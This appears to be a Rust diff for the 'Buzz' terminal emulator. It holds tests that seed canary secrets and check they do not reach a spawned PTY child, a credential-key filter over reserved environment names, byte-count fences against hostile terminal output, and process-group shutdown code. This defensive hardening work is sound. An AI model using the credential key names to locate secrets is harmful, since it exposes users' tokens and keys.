/// The removal is not tidiness: a fixture written at mode `0o010` is not
/// writable by its own owner, so a second run in the same temp dir fails with
/// `Permission denied` before reaching a single assertion. Green on a fresh
/// runner, red on a persistent one — a test must not depend on which it got.
#[cfg(unix)]
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
use std::os::unix::fs::PermissionsExt;
let path = std::env::temp_dir().join(name);
let _ = std::fs::remove_file(&path);
std::fs::write(&path, contents).expect("write fixture");
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
path
}
/// Runs `env` in a real PTY child under the full fence and returns its output.
fn fenced_child_environment() -> String {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
}
/// Runs `env` in a real PTY child and returns its raw output.
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
child_command(build, "env")
}
/// Runs `script` in a real PTY child under `build`'s fence and returns the
/// child's output.
///
/// The child is a real process on a real PTY rather than an inspection of the
/// `CommandBuilder`: the builder is what we asked for, and the child's
/// `environ` is what the kernel actually delivered. Only the second one is the
/// property under test.
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("/bin/sh");
build(&mut cmd);
cmd.arg("-c");
cmd.arg(script);
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut out = String::new();
reader.read_to_string(&mut out).expect("read child output");
child.wait().expect("wait");
out
}
/// Seeds this process with secrets so the fence has something to leak.
///
/// Note these are process-global; the tests that rely on them assert on a
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
/// developer's environment neither masks a failure nor causes one.
fn seed_secrets() {
for key in SECRET_KEYS {
std::env::set_var(key, format!("{CANARY}_{key}"));
}
}
#[test]
fn fence_keeps_secrets_out_of_the_child() {
seed_secrets();
let out = fenced_child_environment();
assert!(
!out.contains(CANARY),
"a reserved secret reached the child environment:\n{out}"
);
for key in SECRET_KEYS {
assert!(
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
"{key} reached the child environment:\n{out}"
);
}
}
/// The other half of the assertion. A fence that clears in the wrong order
/// produces an empty environment: it passes the leak check above while
/// shipping a shell with no context and no error. Asserting only the negative
/// would ratify that bug.
#[test]
fn fence_still_delivers_the_terminal_contract() {
seed_secrets();
let out = fenced_child_environment();
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
assert!(
out.lines().any(|line| line == format!("{key}={value}")),
"{key} missing from child environment:\n{out}"
);
}
assert!(
out.lines().any(|line| line.starts_with("PATH=")),
"PATH missing from child environment:\n{out}"
);
}
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
/// is excluded because it was never allowlisted. This is the property the
/// `feat/terminal` denylist could not offer.
#[test]
fn fence_excludes_keys_it_has_never_heard_of() {
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
let out = fenced_child_environment();
assert!(
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
"an unknown key reached the child:\n{out}"
);
}
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
/// never becomes the user's shell toolchain.
///
/// The assertion is *reachability*, not a string comparison: we seed a
/// uniquely-named executable into this process's `PATH` and prove the child
/// cannot run it. A string check would pass a fence that inherited a
/// differently-spelled toolchain directory, and would fail a fence that
/// legitimately contained the substring; `command -v` asks the question the
/// user actually asks by typing a command name.
#[test]
fn child_path_is_free_of_buzz_toolchain() {
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
std::fs::create_dir_all(&dir).expect("canary dir");
let canary = dir.join(CANARY_BIN);
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
.expect("chmod canary");
}
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
// holding a tool the user does not have.
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
assert!(
is_executable_file(&canary),
"test setup: canary must be executable"
);
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let out = child_environment(|cmd| {
fence_env(cmd, &user_shell_path(), &shell);
});
let path_line = out
.lines()
.find(|line| line.starts_with("PATH="))
.expect("child has a PATH");
assert!(
!path_line.contains("buzz-terminal-path-canary"),
"Buzz's toolchain leaked into the child PATH: {path_line}"
);
// The reachability arm: run `command -v` for the canary inside the fence.
let resolved = child_command(
|cmd| fence_env(cmd, &user_shell_path(), &shell),
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
);
assert!(
resolved.contains("CANARY_UNREACHABLE"),
"a Buzz-only executable was reachable from the child shell: {resolved}"
);
}
/// `$SHELL` is honoured when it names an executable regular file.
#[test]
fn resolve_shell_prefers_a_valid_shell_env() {
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
}
/// The other direction: an unset `$SHELL` must fall through to the **passwd
/// database**, not to the hardcoded fallback.
///
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
/// executable, so a resolver with the passwd step deleted entirely passes it.
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
/// assertion. The property is *equality with the passwd entry*, and the
/// discriminating-power guard below refuses to pass silently on a machine
/// where the two candidates coincide.
#[test]
fn resolve_shell_falls_through_to_passwd_not_the_default() {
let Some(passwd) = crate::shell::passwd_shell() else {
panic!("no usable passwd shell; this gate cannot run on this machine");
};
assert_ne!(
passwd, FALLBACK_SHELL,
"passwd shell equals the fallback, so this test cannot tell the \
passwd step from its absence; it must not report success"
);
assert_eq!(
resolve_shell(None),
passwd,
"an unset $SHELL did not resolve to the passwd entry"
);
}
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
/// passes portable-pty's own check and produces a child that dies with a Rust
/// runtime panic. Requiring an executable *regular file* is what closes it.
#[test]
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
let dir = std::env::temp_dir();
assert!(
!is_executable_file(&dir),
"a directory must not qualify as a shell"
);
assert_ne!(
resolve_shell(dir.to_str()),
dir.to_str().unwrap(),
"a directory $SHELL was accepted; the child would abort on spawn"
);
}
/// Raw mode bits are not effective executability: a self-owned regular file
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
/// running it gives `Permission denied`. The metadata half of the predicate
/// cannot see this; only the `access` half can.
#[test]
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
use std::os::unix::fs::PermissionsExt;
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
assert!(
mode & 0o111 != 0,
"test setup: some class must hold an execute bit, else this arm \
cannot discriminate the mode check from the access check"
);
assert!(
!is_executable_file(&path),
"a file the effective user cannot execute was accepted as a shell"
);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// A non-executable regular file falls through as well.
#[test]
fn resolve_shell_rejects_a_non_executable_file() {
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// The login convention is `-<basename>`, applied without inspecting the
/// shell's name. Any shell — including ones that do not exist yet — gets
/// login semantics from argv0 rather than from a flag we guessed.
#[test]
fn login_argv0_is_shell_neutral() {
for (shell, expected) in [
("/bin/zsh", "-zsh"),
("/usr/local/bin/fish", "-fish"),
("/opt/nu/bin/nu", "-nu"),
(FALLBACK_SHELL, "-sh"),
] {
assert_eq!(login_argv0(shell), expected);
}
}
/// The child must be told the shell we actually spawned, not the one Buzz
/// itself was launched under. Asserting `SHELL` is merely present would pass
/// for an inherited value, which is wrong in exactly the fallback cases.
#[test]
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
assert_ne!(
resolved, "/definitely/not/a/real/shell",
"test setup: the bogus shell must not resolve"
);
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
assert!(
out.lines().any(|line| line == format!("SHELL={resolved}")),
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
);
assert!(
!out.contains("/definitely/not/a/real/shell"),
"the inherited SHELL reached the child:\n{out}"
);
}
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
/// grows a new secret, this points at the file to update.
#[test]
fn reserved_keys_are_covered() {
// The list lives in its own file because `build.rs` `include!`s the same
// source (see `managed_agents/reserved_env_keys.rs`); read it there rather
// than through the module that includes it.
let source = include_str!("../../../src/managed_agents/reserved_env_keys.rs");
let declared: Vec<&str> = source
.lines()
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
.take_while(|line| !line.trim_start().starts_with("];"))
.filter_map(|line| line.trim().strip_prefix('"'))
.filter_map(|line| line.split('"').next())
.filter(|key| {
// Only identity/credential keys are in scope here: the rest of
// RESERVED_ENV_KEYS guards agent-config override, which cannot
// apply to a child that inherits nothing.
key.contains("PRIVATE_KEY")
|| key.contains("AUTH_TAG")
|| key.contains("API_TOKEN")
|| key.contains("RELAY_URL")
})
.collect();
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
for key in declared {
assert!(
SECRET_KEYS.contains(&key),
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
this crate's SECRET_KEYS; add it here"
);
}
}
@@ -0,0 +1,262 @@
//! The two hardening fences, and the counters that prove they ran.
//!
//! A hostile program can hold the parser's synchronized-update buffer open
//! (BSU without ESU) or an OSC string open, and upstream will buffer without
//! bound. Two independent fences, both enforced on **byte counts** — never on
//! a clock, because a clock makes the bound depend on how fast the machine is:
//!
//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
//! been charged without the parser returning to a clean state.
//!
//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
//! frame releases into the parser in one call, holding the `Term` lock for
//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
//! memory and latency.
/// Max bytes a synchronized update may buffer before it is aborted.
pub const SYNC_CAP: usize = 64 << 10;
/// Max parser-visible bytes chargeable before the parser is rebuilt.
pub const OSC_BUDGET: usize = 256 << 10;
/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
/// before returning, in cell-equivalents.
///
/// Derived, not chosen: measured worst-case density across the 2-D op sweep
/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
/// where fixed dispatch cost dominates the single cell it touches), so a
/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
/// remaining three quarters are headroom for lock acquisition, the counting
/// wrapper's own bookkeeping, and platforms slower than the one measured;
/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
/// spent to the last unit.
pub const WORK_BUDGET: u64 = 250_000;
/// Widest slice handed to the parser at once.
///
/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
/// real scrollback depth -- no wider slice can promise to stop after the
/// callback that crosses. This cap is the other end, set at the throughput
/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
/// measured, so nothing above it buys anything and a larger value only
/// coarsens the cut.
pub const MAX_SLICE: usize = 256;
/// Bytes to hand the parser next.
///
/// The **only** slice-sizing function, deliberately: an earlier version of
/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
/// the scheduler stopped calling when slices became remaining-aware, and the
/// fixtures went on asserting against it. The two disagreed exactly where the
/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
/// were describing a function no longer in the path. One function, one
/// answer, and every test asserts on what `drain` actually calls.
///
/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
/// `remaining / densest` bytes cannot carry a drain past the budget.
///
/// `next_escape` is how far the next `ESC` is from the front of the tail.
/// This is the difference between a correct bound and an unusable one. Only
/// an escape can buy grid-sized work in two bytes; a run of ordinary
/// characters costs at most `columns` per byte (a wrapping line feed that
/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
/// plain text as though every byte might be RIS drops throughput from
/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
/// bounding something that cannot happen. So a plain run is sliced against
/// the plain-byte cost and only the escape itself is metered against the
/// worst atom.
pub fn slice_bytes_remaining(
columns: usize,
lines: usize,
scrollback: usize,
spent: u64,
next_escape: usize,
) -> usize {
let remaining = WORK_BUDGET.saturating_sub(spent);
if next_escape > 0 {
// A plain run, and it stops at the escape: an escape sharing a slice
// with the text in front of it is how a callback runs *after* the one
// that crossed the budget, which is the overrun this bound exists to
// prevent. Worst case per plain byte is a line feed that scrolls,
// which resets one row: `columns`.
let per_byte = (columns as u64).max(1);
return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
}
// An escape starts here. `ESC c` is the densest at two bytes.
let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
((remaining / densest) as usize).clamp(1, MAX_SLICE)
}
/// Work the single worst uninterruptible callback can cost on this grid.
///
/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
/// the parser can cut inside a callback, so a caller converting a work budget
/// into a time bound must add it.
///
/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
/// atom, not the budget, would decide the bound. Stopping at the fixed point
/// makes it `columns`, and the budget goes back to being the thing that sets
/// the bound. Every other callback is priced at or below `cells`, which is
/// larger, so this term never dominates.
pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// RIS: both grids plus the primary's configured scrollback. This is the
// largest single callback by a wide margin -- 16x the budget at the
// default 10k depth -- and it is genuinely indivisible, so it is stated
// rather than smoothed. CBT, once terminated at its fixed point, is
// `columns` and never competes.
//
// Saturating, and widened to u64 *before* multiplying. `Size` fields are
// unclamped `usize` with no caller bounding them, so the products here
// are reachable overflows: in debug that is a panic in the accounting
// path, and in release it wraps to a small number, which understates the
// bound -- an overflow that reports the parser as cheap is the worst of
// the three outcomes.
let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
let both_grids = columns.saturating_mul(lines).saturating_mul(2);
let history = scrollback.saturating_mul(columns);
both_grids.saturating_add(history).max(columns)
}
/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
///
/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
/// exact about which is which, because I got this wrong first and the
/// fixtures caught it:
///
/// * The budget is checked *between* slices, so a drain overshoots by up to
/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
/// under one budget wherever its derivation is unclamped.
/// * A callback already running cannot be preempted. RIS at the default 10k
/// scrollback is worth 16x the whole budget on its own, so on such a grid
/// the floor binds and the overshoot is a few of those atoms. No scheduler
/// outside the parser can fix that -- what it can do is *report* it, which
/// is why this is a function callers can read rather than an assumption
/// they inherit.
pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
// slice against the *remaining* budget, so it cannot start a slice able
// to hold more work than is left. What it cannot do is preempt a callback
// that has begun, which is where this term comes from.
WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
}
/// Max bytes that may sit unparsed before the reader must stop reading the
/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
pub const TAIL_CAP: usize = 4 << 20;
/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
/// the reader does not flap between full and one-byte-below-full.
pub const TAIL_RESUME: usize = 1 << 20;
/// Which fences are active. Both on in production.
///
/// The mutation law requires exercising each fence with the other **disabled**,
/// because F1's abort releases the sync buffer in small pieces and thereby
/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
/// feature: a fence that can be compiled out is one more way for a gate to pass
/// green over code that never ran.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Fences {
/// F1: abort a synchronized update at [`SYNC_CAP`].
pub sync_abort: bool,
/// F2: rebuild the parser at [`OSC_BUDGET`].
pub osc_budget: bool,
}
impl Default for Fences {
fn default() -> Self {
Self {
sync_abort: true,
osc_budget: true,
}
}
}
impl Fences {
/// Production configuration: both fences enforced.
pub const ALL: Self = Self {
sync_abort: true,
osc_budget: true,
};
/// F2 alone — the arm that can observe F2's counting, unmasked by F1.
pub const OSC_ONLY: Self = Self {
sync_abort: false,
osc_budget: true,
};
/// F1 alone.
pub const SYNC_ONLY: Self = Self {
sync_abort: true,
osc_budget: false,
};
/// Neither — the unfenced control that shows what upstream does alone.
pub const NONE: Self = Self {
sync_abort: false,
osc_budget: false,
};
}
/// Per-run fence observations. Every field is what some gate asserts on.
///
/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
/// (omitting flush routes, or charging raw input) still resets — only the
/// charge total distinguishes those. One counter cannot see both mutations.
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
pub struct FenceStats {
/// F1 aborts performed.
pub sync_aborts: u64,
/// Largest number of bytes released to the parser by a single flush,
/// whether via an F1 abort or a legitimate end-of-update. This is the
/// quantity that bounds one lock hold.
pub max_release: usize,
/// F2 parser rebuilds performed.
pub osc_resets: u64,
/// Parser-visible bytes charged against the F2 budget, cumulative across
/// resets. Includes every flush route, not just directly-advanced input.
pub charged_bytes: u64,
/// Parser units completed: one per `Handler` callback dispatched, which is
/// one per fully-parsed escape sequence or printed character.
///
/// Separate from `charged_bytes` because they answer different questions
/// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
/// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
/// units are the proxy for time. See [`crate::units`].
pub completed_units: u64,
/// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
/// charges `columns * lines`, an O(1) callback charges 1.
///
/// Deliberately a second number rather than a replacement for
/// `completed_units`. They answer different questions -- "how many things
/// happened" versus "how much did they cost" -- and a stream of `ESC#8`
/// makes them disagree by four orders of magnitude, which is the entire
/// reason this fence exists.
pub completed_work: u64,
/// Deepest the unparsed tail has been, in bytes. The high-water mark
/// rather than the current depth, because the current depth is zero again
/// by the time a test looks at it.
pub max_pending: usize,
/// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
///
/// Loud on purpose. Reaching the cap means the reader kept reading past
/// the point it was told to stop, so the queue bound is being held by
/// nothing; a silent cap would make that indistinguishable from a reader
/// that is obeying.
pub tail_breaches: u64,
/// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
/// Non-zero anywhere but session close is a bug that ate output.
pub abandoned_bytes: u64,
}
impl FenceStats {
/// Clear all counters. Diagnostics are per-run; a gate that reads a
/// counter accumulated across runs is asserting on the wrong thing.
pub fn reset(&mut self) {
*self = Self::default();
}
}
@@ -0,0 +1,290 @@
//! Terminal engine for the Buzz substrate.
//!
//! Owns the emulator: grid state, the parser, the two hardening fences, and
//! the damage encoding the renderer consumes. It does **not** own the PTY, the
//! child process, or the transport — those are the embedder's, so this crate
//! stays testable against byte fixtures with no process and no window.
pub mod context;
pub mod damage;
pub mod env_fence;
pub mod fences;
pub mod lifecycle;
pub mod listener;
pub mod path;
pub mod reader;
pub mod shared;
pub mod shell;
pub mod units;
#[cfg(test)]
mod context_tests;
// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
// builds these two -- and they drive real PTYs, `libc::kill`, and unix
// permission bits, which do not exist there. Gating the *modules* rather than
// their contents keeps the unix-only shape honest: the code under test is
// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
// `context_tests` is pure string logic and stays portable.
#[cfg(all(test, unix))]
mod env_fence_tests;
#[cfg(all(test, unix))]
mod lifecycle_tests;
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::term::{Config, Osc52, Term};
use alacritty_terminal::vte::ansi::CursorStyle;
pub use fences::{FenceStats, Fences};
pub use listener::{Action, Listener};
pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
/// Which grid a frame or a resize refers to.
///
/// Generation and dimensions travel together as one value because they answer
/// one question -- "is this the grid I am currently showing?" -- and a consumer
/// that compares them field by field can compare two of the three and be wrong
/// on a resize that changes only the one it skipped.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Viewport {
/// Advances on every *applied* resize. A same-size resize is inert and
/// does not advance it, so an unchanged `ResizeObserver` tick cannot look
/// like a discontinuity.
pub generation: u64,
pub columns: usize,
pub screen_lines: usize,
}
/// Terminal dimensions in cells, plus how much scrollback to retain.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Size {
pub columns: usize,
pub screen_lines: usize,
pub scrollback: usize,
}
impl Default for Size {
fn default() -> Self {
Self {
columns: 80,
screen_lines: 24,
scrollback: 10_000,
}
}
}
impl Dimensions for Size {
fn total_lines(&self) -> usize {
self.screen_lines + self.scrollback
}
fn screen_lines(&self) -> usize {
self.screen_lines
}
fn columns(&self) -> usize {
self.columns
}
}
/// Build the emulator config.
///
/// Written as an explicit literal rather than `..Default::default()` so that
/// every security-relevant field is stated here and an upstream default change
/// cannot alter our posture silently. In particular `osc52` defaults to
/// `OnlyCopy` upstream, which would let terminal output write the user's
/// clipboard; we disable it outright.
pub fn config(size: Size) -> Config {
Config {
scrolling_history: size.scrollback,
default_cursor_style: CursorStyle::default(),
vi_mode_cursor_style: None,
semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
kitty_keyboard: false,
osc52: Osc52::Disabled,
}
}
/// A terminal: emulator state plus the fenced parser that drives it.
pub struct Terminal {
term: Term<Listener>,
feeder: reader::Feeder,
size: Size,
generation: u64,
}
impl Terminal {
pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
let (listener, actions) = Listener::new();
let term = Term::new(config(size), &size, listener);
(
Self {
term,
feeder: reader::Feeder::new(
fences,
size.columns,
size.screen_lines,
size.scrollback,
),
size,
generation: 0,
},
actions,
)
}
/// Feed PTY output through the fences into the emulator.
///
/// Parses what one work budget affords and returns with the rest held as
/// a pending tail, so one call cannot hold the terminal for an unbounded
/// time. **The caller must pump [`Terminal::drain`] until it returns
/// false**, releasing the lock between calls; that is the whole point --
/// the tail exists to give the renderer a chance at the lock, not to defer
/// work indefinitely. [`Terminal::pending_bytes`] and
/// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
pub fn feed(&mut self, bytes: &[u8]) -> bool {
self.feeder.feed(&mut self.term, bytes)
}
/// Parse more of the pending tail. Returns whether any remains.
pub fn drain(&mut self) -> bool {
self.feeder.drain(&mut self.term);
self.feeder.pending_bytes() > 0
}
/// Feed and parse to completion, without the intervening lock releases.
///
/// For tests and for callers with no renderer contending -- it reinstates
/// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
/// is deliberately a separate name rather than a flag on `feed`.
pub fn feed_fully(&mut self, bytes: &[u8]) {
self.feed(bytes);
while self.drain() {}
}
/// Bytes accepted but not yet parsed.
pub fn pending_bytes(&self) -> usize {
self.feeder.pending_bytes()
}
/// Whether the tail is at its cap and the reader must stop reading.
/// See [`reader::Feeder::tail_full`] for why production deliberately has
/// no consumer yet.
///
/// There is no production consumer today, deliberately: the desktop
/// runtime pumps `drain()` to completion after every read, so the tail is
/// empty between iterations. A future reader that defers pumping must
/// consult this signal before accepting more PTY bytes.
pub fn tail_full(&self) -> bool {
self.feeder.tail_full()
}
/// Whether a paused reader may resume.
pub fn tail_drained(&self) -> bool {
self.feeder.tail_drained()
}
/// Discard the unparsed tail. Session close only -- see
/// [`reader::Feeder::abandon_tail`].
pub fn abandon_tail(&mut self) -> usize {
self.feeder.abandon_tail()
}
pub fn stats(&self) -> FenceStats {
self.feeder.stats()
}
pub fn reset_stats(&mut self) {
self.feeder.reset_stats();
}
pub fn size(&self) -> Size {
self.size
}
/// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
/// consumer can tell that a frame describes a *different* grid than the one
/// it last drew, without having to infer it from message ordering.
pub fn viewport(&self) -> Viewport {
Viewport {
generation: self.generation,
columns: self.size.columns,
screen_lines: self.size.screen_lines,
}
}
/// Apply a new viewport.
///
/// Takes one target size, never a stream of them: resize is superlinear in
/// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
/// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
/// runs while holding the terminal. Coalescing is the caller's job; this
/// function's job is to make the result observable.
///
/// A resize forces a full damage frame -- upstream's `TermDamageState`
/// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
/// keeps the encoder's per-line hashes from suppressing reflowed content.
/// The generation bump is belt-and-braces on top of that: it lets the
/// consumer *verify* it received the discontinuity rather than assume it.
///
/// Returns the viewport that is now in effect, which is not necessarily the
/// one requested: a same-size call is inert and returns the current
/// generation unchanged. Returning it here rather than making the caller
/// ask afterwards matters across a transport -- a follow-up query races the
/// next resize, so the answer could describe a grid that had already been
/// replaced by the time it was read.
pub fn resize(&mut self, size: Size) -> Viewport {
if size == self.size {
return self.viewport();
}
self.term.resize(size);
self.feeder.resize(size);
self.size = size;
self.generation += 1;
self.viewport()
}
/// Move the viewport through scrollback. **Positive moves *into* history.**
///
/// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
/// second convention in the middle of the stack is a bug waiting for the
/// one caller who reads the wrong doc comment. The DOM has the opposite
/// sense, and the embedder converts once, at the command boundary.
///
/// Returns whether the viewport actually moved. Both ends of history clamp
/// silently upstream, and a caller that repaints on every request would
/// repaint for the whole tail of a momentum gesture after it had already
/// hit the top. Every scroll that *does* move is a full repaint, because
/// `Term::scroll_display` marks the grid fully damaged.
pub fn scroll(&mut self, lines: i32) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
}
/// Return the viewport to the live edge. Returns whether it moved.
///
/// Output alone does not do this: once scrolled back, the grid pins the
/// viewport and lets new lines accumulate above it
/// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
/// embedder ties it to user input.
pub fn scroll_to_bottom(&mut self) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
}
/// How far the viewport sits above the live edge, in lines.
pub fn display_offset(&self) -> usize {
self.term.grid().display_offset()
}
fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
let before = self.display_offset();
self.term.scroll_display(scroll);
self.display_offset() != before
}
pub fn term(&self) -> &Term<Listener> {
&self.term
}
pub fn term_mut(&mut self) -> &mut Term<Listener> {
&mut self.term
}
}
@@ -0,0 +1,267 @@
//! Child-process lifecycle for spawned PTY sessions.
//!
//! Closing a terminal tab must actually end the work the tab was doing. That
//! is harder than calling `kill`, for two reasons that both come from the
//! child being a *session leader* rather than an ordinary subprocess.
//!
//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
//! `sleep` — joins that group or a descendant of it. Signalling the shell's
//! pid alone reaches the shell. A shell that exits without forwarding the
//! signal leaves its children running, reparented to init, holding the pty
//! slave open. That is a leak that survives the window closing.
//!
//! So we signal the **process group** (`kill(-pgid)`), not the pid.
//!
//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
//! It is a correct API for "end this process"; ours is "end this session".
//!
//! ## The escalation
//!
//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
//! the group **whether or not the leader went quietly** -- see `shutdown` for
//! why a polite leader does not imply an empty group.
//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
//! history and let `vim` write its swap file; going straight to `SIGKILL`
//! guarantees no process ever gets that chance. The bounded wait is what makes
//! the escalation real — without it, `SIGKILL` either races the polite path
//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
//! child immortal).
//!
//! ## What this deliberately does not do
//!
//! A process that has called `setsid()` for *itself* has left our group, and
//! no group signal reaches it. `nohup`, a daemonising build tool, and
//! `tmux`-style servers all do this on purpose. We do not hunt the process
//! tree to find them: walking children to signal them is a race against a
//! moving tree — a pid read and then signalled may be a *different* process by
//! the time the signal lands, and killing a stranger's pid is a far worse bug
//! than leaking a daemon the user deliberately detached. Detaching from the
//! session is the documented way to survive one's terminal, and honouring it
//! is correct behaviour, not a gap.
use std::io;
use std::time::{Duration, Instant};
use portable_pty::Child;
/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
///
/// Long enough for a shell to run its exit trap and for an editor to write a
/// swap file; short enough that closing a tab never feels stuck. Tab close is
/// not synchronous with this wait in the UI, so this is a cleanup deadline,
/// not a frame budget.
pub const TERM_GRACE: Duration = Duration::from_millis(250);
/// Poll interval while waiting for the child to exit.
///
/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
/// deadline without a second thread, and the whole point of the grace period
/// is that it expires.
const POLL_INTERVAL: Duration = Duration::from_millis(5);
/// How a session ended.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Shutdown {
/// Already gone before we signalled.
AlreadyExited,
